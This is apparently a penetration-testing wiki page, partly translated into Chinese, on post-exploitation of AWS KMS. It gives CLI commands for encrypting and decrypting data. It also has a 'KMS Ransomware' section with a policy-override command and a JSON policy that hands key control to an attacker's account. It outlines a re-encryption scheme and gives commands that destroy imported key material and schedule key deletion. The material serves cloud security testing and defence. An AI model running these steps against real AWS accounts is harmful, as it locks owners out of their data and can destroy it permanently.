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AWS - KMS Post Exploitation

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KMS

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AWS - KMS Enum

加密/解密信息

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Reads the file in binary mode, commonly used for non-text files.

  • file://: Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.

Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)

  • Using a symmetric key

# 加密数据
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# 解密数据
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode

  • Using a asymmetric key:

# 加密数据
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# 解密数据
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

An attacker with privileged access over KMS could modify the KMS policy of keys and grant his account access over them, removing the access granted to the legit account.

Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.

Note that AWS managed keys aren't affected by this attack, only Customer managed keys.

Also note the need to use the param --bypass-policy-lockout-safety-check (the lack of this option in the web console makes this attack only possible from the CLI).

# 强制策略更改
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "启用 IAM 用户权限",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to give the access back to original account, you won't be able.

Generic KMS Ransomware

Global KMS Ransomware

There is another way to perform a global KMS Ransomware, which would involve the following steps:

  • Create a new key with a key material imported by the attacker

  • Re-encrypt older data encrypted with the previous version with the new one.

  • Delete the KMS key

  • Now only the attacker, who has the original key material could be able to decrypt the encrypted data

Destroy keys

# 销毁之前导入的密钥材料，使密钥无效
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# 安排密钥的销毁（最小等待时间为7天）
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Note that AWS now prevents the previous actions from being performed from a cross account:

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